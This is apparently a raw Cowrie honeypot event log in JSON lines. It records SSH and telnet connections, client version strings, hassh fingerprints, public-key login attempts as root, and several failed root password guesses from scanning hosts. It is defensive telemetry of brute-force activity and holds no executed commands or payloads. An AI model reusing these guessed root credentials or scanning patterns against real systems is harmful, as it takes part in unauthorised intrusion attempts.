{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:13.732131Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:13.983767Z","src_ip":"171.244.37.103","session":"432b27b60ac3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:ed:f6:14:6f:d3:f7:bd:0c:28:5e:40:7b:0e:6b:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9Nsw5VgRxgbo3brsYX/ZnU0cbFhNTD149cehp5hhrnzIlU0tkA8se6k2+Rxao4KQHifLU0pAtE2BoSaWIfiFowhakwn1tGZl6xZ3SH6VyMZi9gdjfZFQ6Tqbqm5vmuEU/kjeKwG8pM63bGzcgk8PCOJWDvhARSlh8yiJNphwxKmZKf0w54ui0O0etAAaKqlW7hEvFqTpoKZmmVXlCq70oVP42b9DPTaBCDd5gAxZkVx0Bg0XtEpi/vOD73gl09UK7XMdayNZC8Kg99xVSxL9vjN2N0jZpj5iQvQHl+UXHltZogYssxy6e4T7+QtNbBTgSvFSEAmb8SzW4i70bgrsN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:ed:f6:14:6f:d3:f7:bd:0c:28:5e:40:7b:0e:6b:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:14.191304Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:ed:f6:14:6f:d3:f7:bd:0c:28:5e:40:7b:0e:6b:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9Nsw5VgRxgbo3brsYX/ZnU0cbFhNTD149cehp5hhrnzIlU0tkA8se6k2+Rxao4KQHifLU0pAtE2BoSaWIfiFowhakwn1tGZl6xZ3SH6VyMZi9gdjfZFQ6Tqbqm5vmuEU/kjeKwG8pM63bGzcgk8PCOJWDvhARSlh8yiJNphwxKmZKf0w54ui0O0etAAaKqlW7hEvFqTpoKZmmVXlCq70oVP42b9DPTaBCDd5gAxZkVx0Bg0XtEpi/vOD73gl09UK7XMdayNZC8Kg99xVSxL9vjN2N0jZpj5iQvQHl+UXHltZogYssxy6e4T7+QtNbBTgSvFSEAmb8SzW4i70bgrsN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:14.195363Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:79:cf:c9:12:cb:6e:5d:66:11:a3:1c:b2:91:b6:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmv/1uaMiwxTNYz3LsVELBsZBcyoUEj9coYximr5qrNW+NRSlfUtPwrei9g9S+5shog1Q186PtKEi8PJ0TWaBCDZlDpJwcIf+cnIM9+LDlbx67IizHcBByPHVxWuMPC+FWVnm9K0gT1H++bZ+oJu4kKFhaHbLUvjStB6T8WPmj/b5xByHrDNtuPxM9qK6kTX6WO/X64fysvWn0WgEjzvnY00TEbGomjbchHIN/pwJf/lsDT/uVq1ahq9S1Po/JW1MzRHz8EXOtPk2gXT/nB7iQR3DEhxjs+w16vRNV9PAdj6AKEnTSNy6+J1FKGnb6eQyfeVt+akMzljMSNA7p4qhz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:79:cf:c9:12:cb:6e:5d:66:11:a3:1c:b2:91:b6:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:14.293315Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:79:cf:c9:12:cb:6e:5d:66:11:a3:1c:b2:91:b6:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmv/1uaMiwxTNYz3LsVELBsZBcyoUEj9coYximr5qrNW+NRSlfUtPwrei9g9S+5shog1Q186PtKEi8PJ0TWaBCDZlDpJwcIf+cnIM9+LDlbx67IizHcBByPHVxWuMPC+FWVnm9K0gT1H++bZ+oJu4kKFhaHbLUvjStB6T8WPmj/b5xByHrDNtuPxM9qK6kTX6WO/X64fysvWn0WgEjzvnY00TEbGomjbchHIN/pwJf/lsDT/uVq1ahq9S1Po/JW1MzRHz8EXOtPk2gXT/nB7iQR3DEhxjs+w16vRNV9PAdj6AKEnTSNy6+J1FKGnb6eQyfeVt+akMzljMSNA7p4qhz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:14.298199Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:d6:73:de:1f:08:46:80:78:b2:9a:69:36:23:dc:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlpekpWIX+P1DfB1P9cKAUgYDEEkZNCNbXV2Ar1QikV6PKlPgBqBpfA+p8xROFHTe0snDuUOLHBL/QfOcsO2xWw4T7EVrOIdUzr0ReMpYDKM5tPQCf0Q16Bpxm7iwW/3tciOoHAVzCwDQNtXb3YQ0N+KlfAuGSHxqbh0wJ8dAlZ1J3ytyrsCNfJf6koh9dj/eY2NLXBIHhOfbUiq8Umu3k94WthNUDg/Xy8PIjjZRP9di3qWG4Ukf+gAXKShD5QBl/gPLlU/E8Zwu0jTZlCA/qvobNcFW9P35eqndG7orweEUZ0cteUoSBfJ4kcdbXk3a9Ik/DLICekQONk8SdWNaT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:d6:73:de:1f:08:46:80:78:b2:9a:69:36:23:dc:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:14.396850Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:d6:73:de:1f:08:46:80:78:b2:9a:69:36:23:dc:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlpekpWIX+P1DfB1P9cKAUgYDEEkZNCNbXV2Ar1QikV6PKlPgBqBpfA+p8xROFHTe0snDuUOLHBL/QfOcsO2xWw4T7EVrOIdUzr0ReMpYDKM5tPQCf0Q16Bpxm7iwW/3tciOoHAVzCwDQNtXb3YQ0N+KlfAuGSHxqbh0wJ8dAlZ1J3ytyrsCNfJf6koh9dj/eY2NLXBIHhOfbUiq8Umu3k94WthNUDg/Xy8PIjjZRP9di3qWG4Ukf+gAXKShD5QBl/gPLlU/E8Zwu0jTZlCA/qvobNcFW9P35eqndG7orweEUZ0cteUoSBfJ4kcdbXk3a9Ik/DLICekQONk8SdWNaT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:14.400988Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:84:77:dd:73:74:9b:53:39:70:cf:4d:3c:27:64:7b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOUr7jtTHgeW8M/wGLG37syV2QuO02le9s6/ireiAC+M","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ca:84:77:dd:73:74:9b:53:39:70:cf:4d:3c:27:64:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:14.498914Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:84:77:dd:73:74:9b:53:39:70:cf:4d:3c:27:64:7b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOUr7jtTHgeW8M/wGLG37syV2QuO02le9s6/ireiAC+M","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:14.502914Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:d6:9e:45:1c:d0:ba:cd:02:c5:89:2a:55:fa:a1:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEtbanN8BnMwgk2Q9uHh42DQQykCyL4oBpTkUdSuqkUUP18SaTLadLANU89vTjT/xlIJcfOAP6O+DEOvuF2E/6gxyg0qJdfhsqgHlBkZwtHuS2ATeM4KEwrukSswZodVYakzOyWbCNiw2/aX6YlN6KXpAEDd9E1VJOmBtYmFsmnVYalXyVFWmcmmixeOUL2sUYykDr8RKTSH7c2BIrlAWnprOg+csBNu5kD8oMNuekIWGHlIR0/7z1LqESuXEoe6PuuCzck0r3zYQxqtXNHyWj1c6T++8cHJrrRoXHSxXqFDB14aE2/CApptcV3mnwio1T7V35ksqro+rOrAqaHrhe+uvSM7pYSuEbBgrqyyMC7r6etGS1jzW13VAkjZHGo93J07LIabq+sV5rhjpmbQnXOL9MmNVrZ7OPB1zPL2B7suYyFkzqi1ZWyUQFfvV4x/MKwXCWESiUw2Uzs1XXHmfTpLP50MrB8EmcG7ZlnHIqeMK4vuDib9g1t1O7mPJ4jH8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:d6:9e:45:1c:d0:ba:cd:02:c5:89:2a:55:fa:a1:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:14.603230Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:d6:9e:45:1c:d0:ba:cd:02:c5:89:2a:55:fa:a1:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEtbanN8BnMwgk2Q9uHh42DQQykCyL4oBpTkUdSuqkUUP18SaTLadLANU89vTjT/xlIJcfOAP6O+DEOvuF2E/6gxyg0qJdfhsqgHlBkZwtHuS2ATeM4KEwrukSswZodVYakzOyWbCNiw2/aX6YlN6KXpAEDd9E1VJOmBtYmFsmnVYalXyVFWmcmmixeOUL2sUYykDr8RKTSH7c2BIrlAWnprOg+csBNu5kD8oMNuekIWGHlIR0/7z1LqESuXEoe6PuuCzck0r3zYQxqtXNHyWj1c6T++8cHJrrRoXHSxXqFDB14aE2/CApptcV3mnwio1T7V35ksqro+rOrAqaHrhe+uvSM7pYSuEbBgrqyyMC7r6etGS1jzW13VAkjZHGo93J07LIabq+sV5rhjpmbQnXOL9MmNVrZ7OPB1zPL2B7suYyFkzqi1ZWyUQFfvV4x/MKwXCWESiUw2Uzs1XXHmfTpLP50MrB8EmcG7ZlnHIqeMK4vuDib9g1t1O7mPJ4jH8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:14.609559Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:14.711031Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35776,"dst_ip":"10.17.0.5","dst_port":23,"session":"167f712a71b9","protocol":"telnet","message":"New connection: 152.42.224.71:35776 (10.17.0.5:23) [session: 167f712a71b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:19.675108Z"}
{"eventid":"cowrie.session.closed","duration":8.665603160858154,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:19.968603Z","src_ip":"152.42.224.71","session":"5b7a2efce1e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35778,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc22816613f3","protocol":"telnet","message":"New connection: 152.42.224.71:35778 (10.17.0.5:23) [session: bc22816613f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:20.615032Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35792,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5738800f6a9","protocol":"telnet","message":"New connection: 152.42.224.71:35792 (10.17.0.5:23) [session: e5738800f6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:25.415464Z"}
{"eventid":"cowrie.session.closed","duration":32.7213032245636,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:27.923813Z","src_ip":"152.42.224.71","session":"65050159b68f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.221.72.102","src_port":45168,"dst_ip":"159.203.135.109","dst_port":22,"session":"d88ffaac893a","protocol":"ssh","message":"New connection: 20.221.72.102:45168 (159.203.135.109:22) [session: d88ffaac893a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:33.211538Z"}
{"eventid":"cowrie.session.closed","duration":81.89890480041504,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:33.229949Z","src_ip":"152.42.224.71","session":"ec152a1f81a2","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:33.350797Z","src_ip":"20.221.72.102","session":"d88ffaac893a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:33.354295Z","src_ip":"20.221.72.102","session":"d88ffaac893a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.221.72.102","src_port":45182,"dst_ip":"159.203.135.109","dst_port":22,"session":"07f67799b761","protocol":"ssh","message":"New connection: 20.221.72.102:45182 (159.203.135.109:22) [session: 07f67799b761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:33.692031Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:33.728772Z","src_ip":"20.221.72.102","session":"07f67799b761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:33.733459Z","src_ip":"20.221.72.102","session":"07f67799b761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.652148723602295,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:37.449651Z","src_ip":"152.42.224.71","session":"433c1267e2ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":58528,"dst_ip":"10.17.0.5","dst_port":22,"session":"7533c8a6d4c3","protocol":"ssh","message":"New connection: 43.156.63.254:58528 (10.17.0.5:22) [session: 7533c8a6d4c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:40.306275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:40.310593Z","src_ip":"43.156.63.254","session":"7533c8a6d4c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:40.548132Z","src_ip":"43.156.63.254","session":"7533c8a6d4c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.05223512649536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:41.385754Z","src_ip":"152.42.224.71","session":"e4e147904f4f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"redwings","message":"login attempt [root/redwings] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:41.528454Z","src_ip":"43.156.63.254","session":"7533c8a6d4c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:42.769528Z","src_ip":"43.156.63.254","session":"7533c8a6d4c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00122833251953,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:43.141978Z","src_ip":"152.42.224.71","session":"81d4d960e5a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:43.352133Z","src_ip":"20.221.72.102","session":"d88ffaac893a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51696,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebd4beeba3ed","protocol":"telnet","message":"New connection: 152.42.224.71:51696 (10.17.0.5:23) [session: ebd4beeba3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:46.742197Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":50972,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb97c8e47a2b","protocol":"ssh","message":"New connection: 103.149.28.157:50972 (10.17.0.5:22) [session: eb97c8e47a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:50.609857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:50.614483Z","src_ip":"103.149.28.157","session":"eb97c8e47a2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:50.872322Z","src_ip":"103.149.28.157","session":"eb97c8e47a2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertasdfg","message":"login attempt [root/qwertasdfg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:51.646157Z","src_ip":"103.149.28.157","session":"eb97c8e47a2b","protocol":"ssh"}
